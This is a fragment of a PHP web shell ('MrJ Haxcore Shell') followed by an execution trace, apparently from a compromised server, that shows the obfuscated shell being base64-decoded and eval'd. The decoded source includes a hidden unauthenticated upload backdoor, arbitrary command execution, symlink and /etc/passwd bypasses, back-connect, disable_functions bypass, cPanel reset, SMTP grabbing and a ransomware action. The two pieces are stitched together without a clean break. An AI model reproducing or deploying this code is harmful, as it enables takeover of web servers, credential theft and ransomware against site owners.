'masdel'){\r\n\t\t\t\t\taksiMasdel(\$dir,\$file,\$imgfol,\$imgfile);\r\n\t\t\t\t}\r\n\t\t\t\t/* \r\n\t\t\t\t\t* Jumping\r\n\t\t\t\t\t* IndoXploit\r\n\t\t\t\t*/\r\n\t\t\t\tif(\$_GET['aksi'] == 'jumping'){\r\n\t\t\t\t\taksiJump(\$dir,\$file,\$ip);\r\n\t\t\t\t}\r\n\t\t\t\t//Config\r\n\t\t\t\tif(\$_GET['aksi'] == 'config'){\r\n\t\t\t\t\taksiConfig(\$dir,\$file);\r\n\t\t\t\t}\r\n\t\t\t\t//Bypass etc/passwd\r\n\t\t\t\tif(\$_GET['aksi'] == 'passwbypass'){\r\n\t\t\t\t\taksiBypasswd(\$dir,\$file);\r\n\t\t\t\t}\r\n\t\t\t\t//Adminer\r\n\t\t\t\tif(\$_GET['aksi'] == 'adminer'){\r\n\t\t\t\t\taksiAdminer(\$dir,\$file);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Symlink\r\n\t\t\t\t\t* Kuda Shell\r\n\t\t\t\t*/\r\n\t\t\t\tif(\$_GET['aksi'] == 'symlink'){\r\n\t\t\t\t\taksiSym(\$dir,\$file);\r\n\t\t\t\t}\r\n\t\t\t\tif(\$_GET['aksi'] == 'symread'){\r\n\t\t\t\t\taksiSymread(\$dir,\$file);\r\n\t\t\t\t}\r\n\t\t\t\tif (\$_GET['aksi'] == 'sym_404'){\r\n\t\t\t\t\tsym404(\$dir,\$file);\r\n\t\t\t\t}\r\n\t\t\t\tif (\$_GET['aksi'] == 'sym_bypas'){\r\n\t\t\t\t\tsymBypass(\$dir,\$file);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Back Connect\r\n\t\t\t\t\t* Kuda Shell\r\n\t\t\t\t*/\r\n\t\t\t\tif(\$_GET['aksi'] == 'bctools'){\r\n\t\t\t\t\tbcTool(\$dir,\$file);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Bypass Disable Function\r\n\t\t\t\t\t* Kuda Shell\r\n\t\t\t\t*/\r\n\t\t\t\tif(\$_GET['aksi'] == 'disabfunc'){\r\n\t\t\t\t\tdisabFunc(\$dir,\$file);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Auto Reset Cpanel\r\n\t\t\t\t\t* AngkolVen \r\n\t\t\t\t*/\r\n\t\t\t\tif (\$_GET['aksi'] == 'resetpasscp'){\r\n\t\t\t\t\tresetCp(\$dir);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Auto Edit User\r\n\t\t\t\t\t* IndoXploit\r\n\t\t\t\t*/\r\n\t\t\t\tif(\$_GET['aksi'] == 'auteduser'){\r\n\t\t\t\t\tautoEdit(\$dir,\$file);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Ransomware\r\n\t\t\t\t\t* Angkol Ven\r\n\t\t\t\t*/\r\n\t\t\t\tif (\$_GET['aksi'] == 'ransom'){\r\n\t\t\t\t\transom(\$dir,\$file);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* SMTP Grabber\r\n\t\t\t\t\t* IndoXploit\r\n\t\t\t\t*/\r\n\t\t\t\tif (\$_GET['aksi'] == 'smtpgrab'){\r\n\t\t\t\t\tscj(\$dir);\r\n\t\t\t\t}\r\n\t\t\t\t//Bypass Cloud Flare\r\n\t\t\t\tif (\$_GET['aksi'] == 'bypascf'){\r\n\t\t\t\t\tbypasscf();\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Zip Menu\r\n\t\t\t\t\t* Angkol Ven\r\n\t\t\t\t*/\r\n\t\t\t\tif(\$_GET['aksi'] == 'zip_menu'){\r\n\t\t\t\t\tzipMenu(\$dir,\$file);\r\n\t\t\t\t} \r\n\t\r\n\t\t\t\tif(isset(\$_GET['path'])){\r\n\t\t\t\t\t\$path = \$_GET['path'];\r\n\t\t\t\t\tchdir(\$path);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t\$path = getcwd();\r\n\t\t\t\t}\r\n\t\t\t\t\$path = str_replace('\\\\','/',\$path);\r\n\t\t\t\t\$paths = explode('/',\$path);\r\n\t\t\t\techo \"Path : \";\r\n\t\t\t\tforeach(\$paths as \$id=>\$pat){\r\n\t\t\t\t\tif(\$pat == '' && \$id == 0){\r\n\t\t\t\t\t\t\$a = true;\r\n\t\t\t\t\t\techo '<a href=\"?dir=/\">/</a>';\r\n\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(\$pat == '') continue;\r\n\t\t\t\t\techo '<a style=\"word-wrap:break-word;\" href=\"?dir=';\r\n\t\t\t\t\tfor(\$i=0;\$i<=\$id;\$i++){\r\n\t\t\t\t\t\techo \"\$paths[\$i]\";\r\n\t\t\t\t\t\tif(\$i != \$id) echo \"/\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\techo '\">'.\$pat.'</a>/';\r\n\t\t\t\t}\r\n\t\t\t\t\$scandir = scandir(\$path);\r\n\t\t\t\techo \" [ \".w(\$dir, perms(\$dir)).\" ]\";\r\n\t\t\t\techo '<div id=\"tab\"><table class=\"text-white mt-1 table-hover table-responsive\">\r\n\t\t\t\t\t<thead class=\"bg-info text-center\">\r\n\t\t\t\t\t\t<th class=\"text-left\">File/folder</th>\r\n\t\t\t\t\t\t<th>Size</th>\r\n\t\t\t\t\t\t<th>Last Modified</th>\r\n\t\t\t\t\t\t<th>Permission</th>\r\n\t\t\t\t\t\t<th>Action</th>\r\n\t\t\t\t\t</thead>';\r\n\t\t\t\r\n\t\t\t\t\tforeach(\$scandir as \$dir){\r\n\t\t\t\t\t\t\$dtime = date(\"d/m/y G:i\", filemtime(\"\$dir/\$dirx\"));\r\n\t\t\t\t\t\t/* cek jika ini berbentuk folder */\r\n\t\t\t\t\t\t/* cek jika nama folder karaker terlalu panjang */\r\n\t\t\t\t\t\tif (strlen(\$dir) > 18){\r\n\t\t\t\t\t\t\t\$_dir = substr(\$dir, 0, 18).\"...\";\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\$_dir = \$dir;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\$_diir = \$_dir;\r\n\t\t\t\t\t\tif(!is_dir(\$path.'/'.\$dir) || \$dir == '.' || \$dir == '..') continue;\r\n\t\t\t\t\r\n\t\t\t\t\t\techo '<tr class=\"text-center\">\r\n\t\t\t\t\t\t\t<td class=\"pinggir\">'.\$imgfol.' <a href=\"?dir='.\$path.'/'.\$dir.'\">'.\$_diir.'</a></td>\r\n\t\t\t\t\t\t\t<td>--</td>\r\n\t\t\t\t\t\t\t<td>'.\$dtime.'</td>\r\n\t\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t<a href=\"?dir='.\$path.'/'.\$dir.'&aksi=chmod_dir\">\r\n';\r\n\t\t\t\t\t\t\tif(is_writable(\$path.'/'.\$dir)) echo '<font color=\"#00ff00\">';\r\n\t\t\t\t\t\t\telseif(!is_readable(\$path.'/'.\$dir)) echo '<font color=\"red\">';\r\n\t\t\t\t\t\t\techo perms(\$path.'/'.\$dir);\r\n\t\t\t\t\t\t\tif(is_writable(\$path.'/'.\$dir) || !is_readable(\$path.'/'.\$dir)) echo '</font></a></td>\r\n\t\t\t\t\t\t\t<td><a title=\"Rename\" class=\"badge badge-Success\" href=\"?dir='.\$path.'/'.\$dir.'&aksi=rename_folder\"> <i class=\"fas fa-pen\"></i> </a> <a title=\"Delete\" class=\"badge badge-danger\" href=\"?dir='.\$path.'/'.\$dir.'&aksi=hapus_folder\"> <i class=\"fa fa-trash\"></i> </a>\r\n\t\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t</tr>';\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\tforeach(\$scandir as \$file){\r\n\t\t\t\t\t\t\$ftime = date(\"d/m/y G:i\", filemtime(\"\$path/\$file\"));\r\n\t\t\t\t\t\t/* cek jika ini berbentuk file */\r\n\t\t\t\t\t\tif(!is_file(\$path.'/'.\$file)) continue;\r\n\t\t\t\t\t\techo '<tr class=\"text-center\">\r\n\t\t\t\t\t\t\t<td class=\"pinggir\"><img src=\"';\r\n\r\n\t\t\t\t\t\t\t/* set image berdasarkan extensi file */\r\n\t\t\t\t\t\t\t\$ext = strtolower(pathinfo(\$file, PATHINFO_EXTENSION));\r\n\t\t\t\t\t\t\tif(\$ext == \"php\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/337/337947.png\"';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"html\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/136/136528.png\"';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"css\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/136/136527.png\"';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"png\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/136/136523.png\"';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"jpg\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/136/136524.png\"';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"jpeg\"){\r\n\t\t\t\t\t\t\t\techo 'http://i.imgur.com/e8mkvPf.png\"';\r\n\t\t\t\t\t\t\t}elseif(\$ext == \"zip\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/136/136544.png\"';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"js\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/1126/1126856.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"ttf\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/1126/1126892.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"otf\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/1126/1126891.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"txt\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/136/136538.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"ico\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/1126/1126873.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"conf\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/512/1573/1573301.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"htaccess\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/1720/1720444.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"sh\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/617/617535.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"py\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/180/180867.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"indsc\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/512/1265/1265511.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"sql\"){\r\n\t\t\t\t\t\t\t\techo 'https://img.icons8.com/ultraviolet/2x/data-configuration.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"pl\"){\r\n\t\t\t\t\t\t\t\techo 'http://i.imgur.com/PnmX8H9.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"pdf\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/136/136522.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"mp4\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/136/136545.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"mp3\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/136/136548.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"git\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/617/617509.png';\r\n\t\t\t\t\t\t\t}elseif (\$ext == \"md\"){\r\n\t\t\t\t\t\t\t\techo 'https://image.flaticon.com/icons/png/128/617/617520.png';\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\techo 'http://icons.iconarchive.com/icons/zhoolego/material/256/Filetype-Docs-icon.png';\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\techo '\" class=\"ico2\"></img>';\r\n\t\t\t\t\t\t\t/* cek jika karaker terlalu panjang */\r\n\t\t\t\t\t\t\tif (strlen(\$file) > 25){\r\n\t\t\t\t\t\t\t\t\$_file = substr(\$file, 0, 25).\"...-.\".\$ext;\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t\$_file = \$file;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\techo' <a href=\"?dir='.\$path.'&aksi=view&file='.\$path.'/'.\$file.'\">'.\$_file.'</a></td>\r\n\t\t\t\t\t\t\t<td>'.formatSize(filesize(\$file)).'</td>\r\n\t\t\t\t\t\t\t<td>'.\$ftime.'</td>\r\n\t\t\t\t\t\t\t<td><a href=\"?dir='.\$path.'&aksi=chmod_file&file='.\$path.'/'.\$file.'\" class=\"text-center\">';\r\n\t\t\t\t\t\t\tif(is_writable(\$path.'/'.\$file)) echo '<font color=\"#00ff00\">';\r\n\t\t\t\t\t\t\telseif(!is_readable(\$path.'/'.\$file)) echo '<font color=\"red\">';\r\n\t\t\t\t\t\t\techo perms(\$path.'/'.\$file);\r\n\t\t\t\t\t\t\tif(is_writable(\$path.'/'.\$file) || !is_readable(\$path.'/'.\$file)) echo '</font></a></td>\r\n\t\t\t\t\t\t\t<td class=\"d-flex\">\r\n\t\t\t\t\t\t\t\t<a title=\"See\" class=\"badge badge-info\" href=\"?dir='.\$path.'&aksi=view&file='.\$path.'/'.\$file.'\"> <i class=\"fa fa-eye\"></i> </a> \r\n\t\t\t\t\t\t\t\t<a title=\"Edit\" class=\"badge badge-Success\" href=\"?dir='.\$path.'&aksi=edit&file='.\$path.'/'.\$file.'\"> <i class=\"far fa-edit\"></i> </a> \r\n\t\t\t\t\t\t\t\t<a title=\"Rename\" class=\"badge badge-Success\" href=\"?dir='.\$path.'&aksi=rename&file='.\$path.'/'.\$file.'\"> <i class=\"fa fa-pencil\"></i> </a> \r\n\t\t\t\t\t\t\t\t<a title=\"Delete\" class=\"badge badge-danger\" href=\"?dir='.\$path.'&aksi=hapusf&file='.\$path.'/'.\$file.'\" title=\"Delete\"> <i class=\"fa fa-trash\"></i> </a> \r\n\t\t\t\t\t\t\t\t<a title=\"Download\" class=\"badge badge-primary\" href=\"?&dir='.\$path.'&aksi=download&file='.\$path.'/'.\$file.'\" title=\"Download\"> <i class=\"fa fa-download\"></i> </a>\r\n\t\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t</tr>';\r\n\t\t\t\t\t}\r\n\t\t\t\techo '</table></div><hr/>\r\n\t\t\t\t<center><a class=\"text-muted\" href=\"https://facebook.com/mrjhaxxcore\">\xc2\xa9Copyright © shell v.10</a></center><br/>';\t\r\n\t\t\t\techo \"<a href='#' class='scrollToTop'><i class='fa fa-arrow-up up' aria-hidden='true'></i></a>\";?>\r\n\t\t\t\t<iframe width=\"0%\" height=\"0\" scrolling=\"no\" frameborder=\"no\" loop=\"true\" allow=\"autoplay\" src=\"\"></iframe> \r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</body>\r\n</html>");
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:33:13.261805]
1 0 1 0.000149 393608
1 3 0 0.000888 536904 {main} 1 /var/www/html/uploads/1659420477_mrjs.php 0 0
2 4 0 0.000908 536904 base64_decode 0 /var/www/html/uploads/1659420477_mrjs.php 1 1 'PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCkVycm9yX3JlcG9ydGluZygwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCkBjbGVhcnN0YXRjYWNoZSgpOw0KQGluaV9zZXQoJ0Vycm9yX2xvZycsTlVMTCk7DQpAaW5pX3NldCgnbG9nX0Vycm9ycycsMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X0Vycm9ycycsIDApOw0KaWYoaXNzZXQoJF9HRVRbJ0FuZ2tvbFZlbiddKSl7IGVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQogIDxpbnB1dCB0eXBlPSdmaWxlJyBuYW1lPSdpZF9maWxlJz4gPGlucHV0IHR5cGU9J3N1'
2 4 1 0.001360 680296
2 4 R '<?php\r\nsession_start();\r\nError_reporting(0);\r\n@set_time_limit(0);\r\n@clearstatcache();\r\n@ini_set(\'Error_log\',NULL);\r\n@ini_set(\'log_Errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'output_buffering\',0);\r\n@ini_set(\'display_Errors\', 0);\r\nif(isset($_GET[\'AngkolVen\'])){ echo "<form method=\'post\' enctype=\'multipart/form-data\'>\r\n <input type=\'file\' name=\'id_file\'> <input type=\'submit\' name=\'u\' value=\'u-\'> </form>";\r\n$root = $_SERVER[\'DOCUMENT_ROOT\']; $fi'
2 5 0 0.004549 1204480 eval 1 '?><?php\r\nsession_start();\r\nError_reporting(0);\r\n@set_time_limit(0);\r\n@clearstatcache();\r\n@ini_set(\'Error_log\',NULL);\r\n@ini_set(\'log_Errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'output_buffering\',0);\r\n@ini_set(\'display_Errors\', 0);\r\nif(isset($_GET[\'AngkolVen\'])){ echo "<form method=\'post\' enctype=\'multipart/form-data\'>\r\n <input type=\'file\' name=\'id_file\'> <input type=\'submit\' name=\'u\' value=\'u-\'> </form>";\r\n$root = $_SERVER[\'DOCUMENT_ROOT\']; $files = $_FILES[\'id_file\'][\'name\']; $dest = $root.\'/\'.$files;\r\nif(isset($_POST[\'u\'])) {\r\nif(is_writable($root)) {\r\nif(@copy($_FILES[\'id_file\'][\'tmp_name\'], $dest)) {\r\n$web = "http://".$_SERVER[\'HTTP_HOST\']."/";\r\necho "s u -> <a href=\'$web/$files\' target=\'_blank\'><b><u>$web/$files</u></b></a>";\r\n} else { echo "g u d d r."; } } else {\r\nif(@copy($_FILES[\'id_file\'][\'tmp_name\'], $files)) { echo "s <b>$files</b> d"; } else { echo "g"; } } } } \r\n\r\n/* Configurasi */\r\n$aupas \t\t\t= "b1e8460d4cfb0ca16a6998bf040cc2ab";// password: mrj\r\n$default_action \t= \'FilesMan\';\r\n$default_use_ajax \t= true;\r\n$default_charset \t= \'UTF-8\';\r\ndate_default_timezone_set("Asia/Philippines");\r\nfunction login_shell(){\r\n?>\r\n<!DOCTYPE html>\r\n<html>\r\n\t<head>\r\n\t\t<meta name="viewport" content="widht=device-widht, initial-scale=1.0"/>\r\n\t\t<meta name="theme-color" content="#800000"/>\r\n\t\t<meta name="author" content="MrJ"/>\r\n\t\t<meta name="copyright" content="MrJTeam"/>\r\n\t\t<title>MrJHaxcore Private Shell</title>\r\n\t\t<link rel="icon" type="image/png" href="https://cdn1.vectorstock.com/i/thumb-large/64/25/vintage-scary-skull-concept-vector-21006425.jpg"/>\r\n\t\t<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/>\r\n\t\t<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css"/>\r\n\t</head>\r\n\t<body class="bg-dark text-center text-light">\r\n\t\t<div class="container text-center mt-3">\r\n\t\t<center>\r\n\t\t<img src="https://anonphillipines.files.wordpress.com/2016/05/logo.gif" width="500" height="360">\r\n\t\t\t<h1>[MrJ Haxcore Shell]</h1>\r\n\t\t\t<h5>This is a Private Shell</h5><hr/>\r\n\t\t\t<p class="mt-3 font-weight-bold"><i class="fa fa-terminal"></i> This shell has many features inside it a lot of tools for pentesting,hacking, defacing and many more but this is a private shell.</p>\r\n\t\t\t<form method="post">\r\n\t\t\t\t<div class="form-group input-group">\r\n\t\t\t\t\t<div class="input-group-prepend">\r\n\t\t\t\t\t\t<div class="input-group-text"><i class="fa fa-user"></i></div>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t<input type="password" name="pass" placeholder="Input private key here" class="form-control">\r\n\t\t\t\t</div>\r\n\t\t\t\t<input type="submit" class="btn btn-danger btn-block" class="form-control" value="Login">\r\n\t\t\t</form>\r\n\t\t</div>\r\n\t\t<a href="https://facebook.com/mrjhaxxcore" class="text-muted fixed-bottom mb-3">©Copyright © MrJ.PH</a>\r\n\t</body>\r\n</html>\r\n<?php\r\nexit;\r\n}\r\nif(!isset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])])){\r\n\tif(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $aupas)){\r\n\t\t$_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true;\r\n\t}else{\r\n\t\tlogin_shell();\r\n\t}\r\n}\r\nif(isset($_GET[\'file\']) && ($_GET[\'file\'] != \'\') && ($_GET[\'aksi\'] == \'download\')){\r\n\t@ob_clean();\r\n\t$file = $_GET[\'file\'];\r\n\theader(\'Content-Description: File Transfer\');\r\n\theader(\'Content-Type: application/octet-stream\');\r\n\theader(\'Content-Disposition: attachment; filename="\'.basename($file).\'"\');\r\n\theader(\'Expires: 0\');\r\n\theader(\'Cache-Control: must-revalidate\');\r\n\theader(\'Pragma: public\');\r\n\theader(\'Content-Length: \' . filesize($file));\r\n\treadfile($file);\r\n\texit;\r\n}\r\nfunction w($dir,$perm){\r\n\tif(!is_writable($dir)){\r\n\t\treturn "<font color=\'red\'>".$perm."</font>";\r\n\t}else{\r\n\t\treturn "<font color=\'lime\'>".$perm."</font>";\r\n\t}\r\n}\r\nfunction r($dir,$perm){\r\n\tif(!is_readable($dir)){\r\n\t\treturn "<font color=red>".$perm."</font>";\r\n\t}else{\r\n\t\treturn "<font color=lime>".$perm."</font>";\r\n\t}\r\n}\r\n\r\nfunction exe($cmd){\r\n\tif(function_exists(\'system\')){\r\n\t\t@ob_start();\r\n\t\t@system($cmd);\r\n\t\t$buff = @ob_get_contents();\r\n\t\t@ob_end_clean();\r\n\t\treturn $buff;\r\n\t}elseif(function_exists(\'exec\')){\r\n\t\t@exec($cmd,$results);\r\n\t\t$buff = "";\r\n\t\tforeach($results as $result){\r\n\t\t\t$buff .= $result;\r\n\t\t} return $buff;\r\n\t}elseif(function_exists(\'passthru\')){\r\n\t\t@ob_start();\r\n\t\t@passthru($cmd);\r\n\t\t$buff = @ob_get_contents();\r\n\t\t@ob_end_clean();\r\n\t\treturn $buff;\r\n\t}elseif(function_exists(\'shell_exec\')){\r\n\t\t$buff = @shell_exec($cmd);\r\n\t\treturn $buff;\r\n\t}\r\n}\r\nfunction perms($file){\r\n\t$perms = fileperms($file);\r\n\tif (($perms & 0xC000) == 0xC000){\r\n\t\t// Socket\r\n\t\t$info = \'s\';\r\n\t}elseif (($perms & 0xA000) == 0xA000){\r\n\t\t// Symbolic Link\r\n\t\t$info = \'l\';\r\n\t}elseif (($perms & 0x8000) == 0x8000){\r\n\t\t// Regular\r\n\t\t$info = \'-\';\r\n\t}elseif (($perms & 0x6000) == 0x6000){\r\n\t\t// Block special\r\n\t\t$info = \'b\';\r\n\t}elseif (($perms & 0x4000) == 0x4000){\r\n\t\t// Directory\r\n\t\t$info = \'d\';\r\n\t}elseif (($perms & 0x2000) == 0x2000){\r\n\t\t// Character special\r\n\t\t$info = \'c\';\r\n\t}elseif (($perms & 0x1000) == 0x1000){\r\n\t\t// FIFO pipe\r\n\t$info = \'p\';\r\n\t}else{\r\n\t\t// Unknown\r\n\t\t$info = \'u\';\r\n\t}\r\n\t// Owner\r\n\t$info .= (($perms & 0x0100) ? \'r\' : \'-\');\r\n\t$info .= (($perms & 0x0080) ? \'w\' : \'-\');\r\n\t$info .= (($perms & 0x0040) ?\r\n\t(($perms & 0x0800) ? \'s\' : \'x\' ) :\r\n\t(($perms & 0x0800) ? \'S\' : \'-\'));\r\n\t// Group\r\n\t$info .= (($perms & 0x0020) ? \'r\' : \'-\');\r\n\t$info .= (($perms & 0x0010) ? \'w\' : \'-\');\r\n\t$info .= (($perms & 0x0008) ?\r\n\t(($perms & 0x0400) ? \'s\' : \'x\' ) :\r\n\t(($perms & 0x0400) ? \'S\' : \'-\'));\r\n\t\t\r\n\t// World\r\n\t$info .= (($perms & 0x0004) ? \'r\' : \'-\');\r\n\t$info .= (($perms & 0x0002) ? \'w\' : \'-\');\r\n\t$info .= (($perms & 0x0001) ?\r\n\t(($perms & 0x0200) ? \'t\' : \'x\' ) :\r\n\t(($perms & 0x0200) ? \'T\' : \'-\'));\r\n\treturn $info;\r\n}\r\n$path = str_replace(\'\\\\\',\'/\',$path);\r\n$paths = explode(\'/\',$path);\r\nif(isset($_GET[\'dir\'])){\r\n\t$dir = $_GET[\'dir\'];\r\n\tchdir($dir);\r\n}else{\r\n\t$dir = getcwd();\r\n}\r\n\t\r\n$os = php_uname();\r\n$ip = getHostByName(getHostName());\r\n$ver = phpversion();\r\n$web = $_SERVER[\'HTTP_HOST\'];\r\n$sof = $_SERVER[\'SERVER_SOFTWARE\']; \r\n$dir = str_replace("\\\\","/",$dir);\r\n$scdir = explode("/", $dir);\r\n$mysql = (function_exists(\'mysql_connect\')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";\r\n$curl = (function_exists(\'curl_version\')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";\r\n$mail = (function_exists(\'mail\')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";\r\n$total = disk_total_space($dir);\r\n$free = disk_free_space($dir);\r\n$pers = (int) ($free/$total*100);\r\n$ds = @ini_get("disable_functions");\r\n$show_ds = (!empty($ds)) ? "<a href=\'?dir=$dir&aksi=disabfunc\' class=\'ds\'>$ds</a>" : "<a href=\'?dir=$dir&aksi=disabfunc\'><font color=green>NONE</font></a>";\r\n$imgfol = "<img src=\'http://aux.iconspalace.com/uploads/folder-icon-256-1787672482.png\' class=\'ico\'></img>";\r\n$imgfile = "<img src=\'http://icons.iconarchive.com/icons/zhoolego/material/256/Filetype-Docs-icon.png\' class=\'ico2\'></img>";\r\nfunction formatSize( $bytes ){\r\n\t$types = array( \'B\', \'KB\', \'MB\', \'GB\', \'TB\' );\r\n\tfor( $i = 0; $bytes >= 1024 && $i < ( count( $types ) -1 ); $bytes /= 1024, $i++ );\r\n\treturn( round( $bytes, 2 )." ".$types[$i] );\r\n}\r\nfunction ambilKata($param, $kata1, $kata2){\r\n\tif(strpos($param, $kata1) === FALSE) return FALSE;\r\n\tif(strpos($param, $kata2) === FALSE) return FALSE;\r\n\t$start = strpos($param, $kata1) + strlen($kata1);\r\n\t$end = strpos($param, $kata2, $start);\r\n\t$return = substr($param, $start, $end - $start);\r\n\treturn $return;\r\n}\r\n$d0mains = @file("/etc/named.conf", false);\r\nif (!$d0mains){\r\n\t$dom = "<font color=red size=2px>Cant Read [ /etc/named.conf ]</font>";\r\n\t$GLOBALS["need_to_update_header"] = "true";\r\n}else{ \r\n\t$count = 0;\r\n\tforeach ($d0mains as $d0main){\r\n\t\tif (@strstr($d0main, "zone")){\r\n\t\t\tpreg_match_all(\'#zone "(.*)"#\', $d0main, $domains);\r\n\t\t\tflush();\r\n\t\t\tif (strlen(trim($domains[1][0])) > 2){\r\n\t\t\t\tflush();\r\n\t\t\t\t$count++;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t$dom = "$count Domain";\r\n}\r\nfunction swall($swa,$text,$dir){\r\n\techo "<script>Swal.fire({\r\n\t\ttitle: \'$swa\',\r\n\t\ttext: \'$text\',\r\n\t\ttype: \'$swa\',\r\n\t}).then((value) => {window.location=\'?dir=$dir\';})</script>";\r\n}\r\nfunction about(){\r\n\techo \'<div class="card text-center bg-light about">\r\n\t\t<h4 class="card-header"><><>[ AngkolVen ]<><></h4>\r\n\t\t<div class="card-body">\r\n\t\t\t<center><div class="img"></div></center>\r\n\t\t\t<p class="card-text">This Shell was created in Philippines, July. 10, 2022. By mrj. This is a Private and we are not selling this tool.</p>\r\n\t\t</div>\r\n\t\t<div class="card-footer">\r\n\t\t\t<small class="card-text text-muted">Copyright 2020 © CyberMafia-PH</small>\r\n\t\t</div>\r\n\t</div><br/>\';\r\n\texit;\r\n}\r\nfunction aksiUpload($dir){\r\n\techo \'<form method="POST" enctype="multipart/form-data" name="uploader" id="uploader">\r\n\t\t<div class="card">\r\n\t\t\t<div class="card-body form-group">\r\n\t\t\t\t<p class="text-muted">//Multiple Upload</p>\r\n\t\t\t\t<div class="custom-file">\r\n\t\t\t\t\t<input type="file" name="file[]" multiple class="custom-file-input" id="customFile">\r\n\t\t\t\t\t<label class="custom-file-label" for="customFile">Choose file</label>\r\n\t\t\t\t</div>\r\n\t\t\t\t<input type="submit" class="btn btn-sm btn-primary btn-block mt-4 p-2" name="upload" value="Upload">\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</form>\';\r\n\tif(isset($_POST[\'upload\'])){\r\n\t\t$jumlah = 